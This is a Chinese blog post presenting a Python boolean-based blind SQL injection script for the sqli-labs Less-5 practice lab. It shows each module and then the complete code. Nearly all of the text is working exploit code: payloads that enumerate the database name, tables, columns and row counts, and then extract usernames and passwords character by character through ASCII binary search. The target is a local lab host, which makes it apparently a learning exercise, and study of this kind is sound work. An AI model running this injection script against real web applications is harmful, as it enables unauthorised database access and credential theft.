sqli-labs布爾盲註腳本的編寫

0x00 前言

此腳本基於sqli-labs/Less-5編寫,採用ASCII碼判斷布爾類型,注入標誌爲"You are in…"。

第一次獨立編寫完整腳本,感覺很多地方寫的不好。條件分支,字典、列表的遍歷都花了很長時間去弄

無論是時間複雜度還是代碼可讀性,感覺都很拉跨。師傅們輕噴。。。

以下是模塊解析

0x01 模塊

1.判斷數據庫庫名長度

def db_length():
    db_len = 1
    while True:
        str_db_len = str(db_len)
        db_len_url = url + "' and length(database())=" + str_db_len + "--+"
        r = requests.get(db_len_url)
        if flag in r.text:
            print("\n當前數據庫名長度爲:%s" %str_db_len)
            break
        else:
            db_len = db_len + 1
    return db_len

2.猜解當前數據庫庫名

def db_name():
    low = 32
    high = 126
    i = 1
    km = ""
    //二分法猜解
    while (i<=db_len):
        str_i = '%d' %i
        
        if (low + high) % 2 == 0:
            mid = (low + high) / 2
        elif (low + high) % 2 != 0:
            mid = (low + high + 1) / 2
        str_mid = '%d' %mid

        name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))="+str_mid+"--+"
        response = requests.get(name_url)
        
        if flag in response.text:
            km += chr(int(mid))
            print(km)
            i = i + 1
            low = 32
            high = 126
        elif flag not in response.text:
            name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))>"+str_mid+"--+"
            response = requests.get(name_url)
            if flag in response.text:
                low = mid
            elif flag not in response.text:
                high = mid
    print("當前數據庫庫名爲:"+km)
    return km

3.判斷表的個數

def table_num():
    for i in range(20):
        str_i = '%d' %i
        num_url = url + "' and (select count(table_name) from information_schema.tables where table_schema='"+db_name+"')="+str_i+"--+"
        r = requests.get(num_url)
        if flag in r.text:
            print("\n數據表個數爲:%s" %str_i)
            break
    return i

4.判斷表名長度

def table_len():
    t_len = []
    for i in range(0,table_num):
        str_i = str(i)
        for j in range(1,20):
            str_j = str(j)
            len_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='"+db_name+"' limit "+str_i+",1)="+str_j+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                print("第"+str(i+1)+"張表的表名長度爲:"+str_j)
                t_len.append(j)
                break
    return t_len

5.遞歸猜解表名

def table_name():
    tname = {}
    for i in range(0,table_num):
        str_i = str(i)
        for j in range(table_num):
            if i == j:
                k = 1
                low = 32
                high = 126
                bm = ""
                while (k<=t_len[j]):
                    str_k = str(k)
                    if (low + high) % 2 ==0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 !=0:
                        mid = (low + high + 1) /2
                    str_mid = str(mid)
                    name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
                    r = requests.get(name_url)
                    if flag in r.text:
                        bm += chr(int(mid))
                        print(bm)
                        k = k+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
                        r = requests.get(name_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                tname[str(j+1)] = str(bm)
    for key,value in tname.items():
        print("[+]| "+key+" | "+value)
    return tname

6.判斷表中列的個數

def column_num():
    for i in range(10):
        str_i = str(i)
        num_url = url + "' and (select count(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"')="+str_i+"--+"
        r = requests.get(num_url)
        if flag in r.text:
            print(table_name+"表中列的個數爲:%s" %str_i)
            break
    return i

7.判斷列名長度

def column_len():
    c_len = []
    for i in range(0,column_num):
        str_i = str(i)
        for j in range(1,20):
            str_j = str(j)
            len_url = url + "' and (select length(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"'limit "+str_i+",1)="+str_j+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                c_len.append(j)
                print("第"+str(i+1)+"列的列名長度爲:"+str_j)
                break
    return c_len

8.遞歸猜解列名

def column_name():
    cname = {}
    for i in range(0, column_num):
        str_i = str(i)
        for j in range(column_num):
            if i == j:
                k = 1
                low = 32
                high = 126
                cm = ''
                while k <= column_len[j]:
                    str_k = str(k)
                    mid = 0
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
                    r = requests.get(name_url)
                    if flag in r.text:
                        cm += chr(int(mid))
                        print(cm)
                        k = k+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
                        r = requests.get(name_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                cname[str(j)] = str(cm)
    for key,value in cname.items():
        print("[+]| "+str(int(key)+1)+" | "+value)
    return cname

9.判斷字段的個數

def dump_num():
    for i in range(0,column_num):
        for j in range(20):
            str_j = str(j)
            num_url = url + "' and (select count("+cname[str(i)]+") from "+db_name+"."+table_name+")="+str_j+"--+"
            r = requests.get(num_url)
            if flag in r.text:
                print(cname[str(i)]+"列中的字段數爲:%s" %str_j)
                break
    return j

10.判斷字段長度

def dump_len():
    user_len = []
    pass_len = []
    for i in range(0,dump_num):
        str_i = str(i)
        for j in range(1,33):
            str_j = str(j)
            len_url = url + "' and (select length(username) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_j+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                user_len.append(j)
                print("username第"+str(i+1)+"個字段長度爲:"+str_j)
                break
        for k in range(1,33):
            str_k = str(k)
            len_url = url + "' and (select length(password) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_k+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                pass_len.append(k)
                print("password第"+str(i+1)+"個字段長度爲:"+str_k)
                break
    return (user_len,pass_len)

11.遞歸猜解username、password

def dump():
    username = {}
    password = {}
    for i in range(0,dump_num):
        str_i = str(i)
        for j in range(dump_num):
            if i == j:
                k = 1
                p = 1
                low = 32
                high = 126
                uname = ''
                pword = ''
                while k <= user_len[j]:
                    str_k = str(k)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) %2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    user_url = url + "' and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
                    r = requests.get(user_url)
                    if flag in r.text:
                        uname += chr(int(mid))
                        print(str(i+1)+"| usename:"+uname)
                        k = k+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        user_url = url + "' and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
                        r = requests.get(user_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                username[str(j)] = str(uname)
                while p <= pass_len[j]:
                    str_p = str(p)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) %2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    pass_url = url + "' and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))="+str_mid+"--+"
                    r = requests.get(pass_url)
                    if flag in r.text:
                        pword += chr(int(mid))
                        print(str(i+1)+"| password:"+pword)
                        p = p+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        pass_url = url + "' and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))>"+str_mid+"--+"
                        r = requests.get(pass_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                password[str(j)] = str(pword)
    for x in range(0,13):
        print("|"+str(x+1)+"|username:"+username[str(x)]+"|password:"+password[str(x)]+"|")

0x02 完整代碼

import requests

#數據庫庫名長度
def db_length():
    db_len = 1
    while True:
        str_db_len = str(db_len)
        db_len_url = url + "' and length(database())=" + str_db_len + "--+"
        r = requests.get(db_len_url)
        if flag in r.text:
            print("\n當前數據庫名長度爲:%s" %str_db_len)
            break
        else:
            db_len = db_len + 1
    return db_len

#猜解當前數據庫庫名
def db_name():
    low = 32
    high = 126
    i = 1
    km = ""
    while (i<=db_len):
        str_i = '%d' %i
        
        if (low + high) % 2 == 0:
            mid = (low + high) / 2
        elif (low + high) % 2 != 0:
            mid = (low + high + 1) / 2
        str_mid = '%d' %mid

        name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))="+str_mid+"--+"
        response = requests.get(name_url)
        
        if flag in response.text:
            km += chr(int(mid))
            print(km)
            i = i + 1
            low = 32
            high = 126
        elif flag not in response.text:
            name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))>"+str_mid+"--+"
            response = requests.get(name_url)
            if flag in response.text:
                low = mid
            elif flag not in response.text:
                high = mid
    print("當前數據庫庫名爲:"+km)
    return km

#判斷表的個數
def table_num():
    for i in range(20):
        str_i = '%d' %i
        num_url = url + "' and (select count(table_name) from information_schema.tables where table_schema='"+db_name+"')="+str_i+"--+"
        r = requests.get(num_url)
        if flag in r.text:
            print("\n數據表個數爲:%s" %str_i)
            break
    return i

#判斷表名長度
def table_len():
    t_len = []
    for i in range(0,table_num):
        str_i = str(i)
        for j in range(1,20):
            str_j = str(j)
            len_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='"+db_name+"' limit "+str_i+",1)="+str_j+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                print("第"+str(i+1)+"張表的表名長度爲:"+str_j)
                t_len.append(j)
                break
    return t_len

#猜解表名
def table_name():
    tname = {}
    for i in range(0,table_num):
        str_i = str(i)
        for j in range(table_num):
            if i == j:
                k = 1
                low = 32
                high = 126
                bm = ""
                while (k<=t_len[j]):
                    str_k = str(k)
                    if (low + high) % 2 ==0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 !=0:
                        mid = (low + high + 1) /2
                    str_mid = str(mid)
                    name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
                    r = requests.get(name_url)
                    if flag in r.text:
                        bm += chr(int(mid))
                        print(bm)
                        k = k+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
                        r = requests.get(name_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                tname[str(j+1)] = str(bm)
    for key,value in tname.items():
        print("[+]| "+key+" | "+value)
    return tname

#判斷表中列個數
def column_num():
    for i in range(10):
        str_i = str(i)
        num_url = url + "' and (select count(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"')="+str_i+"--+"
        r = requests.get(num_url)
        if flag in r.text:
            print(table_name+"表中列的個數爲:%s" %str_i)
            break
    return i

#判斷列名長度
def column_len():
    c_len = []
    for i in range(0,column_num):
        str_i = str(i)
        for j in range(1,20):
            str_j = str(j)
            len_url = url + "' and (select length(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"'limit "+str_i+",1)="+str_j+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                c_len.append(j)
                print("第"+str(i+1)+"列的列名長度爲:"+str_j)
                break
    return c_len

#猜解列名
def column_name():
    cname = {}
    for i in range(0, column_num):
        str_i = str(i)
        for j in range(column_num):
            if i == j:
                k = 1
                low = 32
                high = 126
                cm = ''
                while k <= column_len[j]:
                    str_k = str(k)
                    mid = 0
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) % 2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
                    r = requests.get(name_url)
                    if flag in r.text:
                        cm += chr(int(mid))
                        print(cm)
                        k = k+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
                        r = requests.get(name_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                cname[str(j)] = str(cm)
    for key,value in cname.items():
        print("[+]| "+str(int(key)+1)+" | "+value)
    return cname

#判斷字段個數
def dump_num():
    for i in range(0,column_num):
        for j in range(20):
            str_j = str(j)
            num_url = url + "' and (select count("+cname[str(i)]+") from "+db_name+"."+table_name+")="+str_j+"--+"
            r = requests.get(num_url)
            if flag in r.text:
                print(cname[str(i)]+"列中的字段數爲:%s" %str_j)
                break
    return j

#判斷字段長度
def dump_len():
    user_len = []
    pass_len = []
    for i in range(0,dump_num):
        str_i = str(i)
        for j in range(1,33):
            str_j = str(j)
            len_url = url + "' and (select length(username) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_j+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                user_len.append(j)
                print("username第"+str(i+1)+"個字段長度爲:"+str_j)
                break
        for k in range(1,33):
            str_k = str(k)
            len_url = url + "' and (select length(password) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_k+"%23"
            r = requests.get(len_url)
            if flag in r.text:
                pass_len.append(k)
                print("password第"+str(i+1)+"個字段長度爲:"+str_k)
                break
    return (user_len,pass_len)

#猜解字段值
def dump():
    username = {}
    password = {}
    for i in range(0,dump_num):
        str_i = str(i)
        for j in range(dump_num):
            if i == j:
                k = 1
                p = 1
                low = 32
                high = 126
                uname = ''
                pword = ''
                while k <= user_len[j]:
                    str_k = str(k)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) %2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    user_url = url + "' and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
                    r = requests.get(user_url)
                    if flag in r.text:
                        uname += chr(int(mid))
                        print(str(i+1)+"| usename:"+uname)
                        k = k+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        user_url = url + "' and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
                        r = requests.get(user_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                username[str(j)] = str(uname)
                while p <= pass_len[j]:
                    str_p = str(p)
                    if (low + high) % 2 == 0:
                        mid = (low + high) / 2
                    elif (low + high) %2 != 0:
                        mid = (low + high + 1) / 2
                    str_mid = str(mid)
                    pass_url = url + "' and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))="+str_mid+"--+"
                    r = requests.get(pass_url)
                    if flag in r.text:
                        pword += chr(int(mid))
                        print(str(i+1)+"| password:"+pword)
                        p = p+1
                        low = 32
                        high = 126
                    elif flag not in r.text:
                        pass_url = url + "' and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))>"+str_mid+"--+"
                        r = requests.get(pass_url)
                        if flag in r.text:
                            low = mid
                        elif flag not in r.text:
                            high = mid
                password[str(j)] = str(pword)
    for x in range(0,13):
        print("|"+str(x+1)+"|username:"+username[str(x)]+"|password:"+password[str(x)]+"|")

#程序入口
if(__name__=="__main__"):
    url = "http://192.168.115.134:8088/sqli-labs/Less-5/?id=1"
    flag = "You are in..........."
    print("..........開始猜解當前數據庫庫名長度..........")
    db_len = db_length()
    print("\n............開始猜解當前數據庫庫名............")
    db_name = db_name()
    print("\n.............開始判斷數據表的個數.............")
    table_num = table_num()
    print("\n...............開始判斷表名長度...............\n")
    t_len = table_len()
    print("\n.................開始猜解表名.................\n")
    tname = table_name()
    table_name = input("\n請選擇一張表:")
    print("\n.............開始判斷表中列的個數.............\n")
    column_num = column_num()
    print("\n...............開始判斷列名長度...............\n")
    column_len = column_len()
    print("\n.................開始猜解列名.................\n")
    cname = column_name()
    print("\n................開始判斷字段數................\n")
    dump_num = dump_num()
    print("\n...............開始判斷字段長度...............\n")
    user_len,pass_len = dump_len()
    print("\n................開始猜解字段值................\n")
    dump()

0x03 程序運行截圖

在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章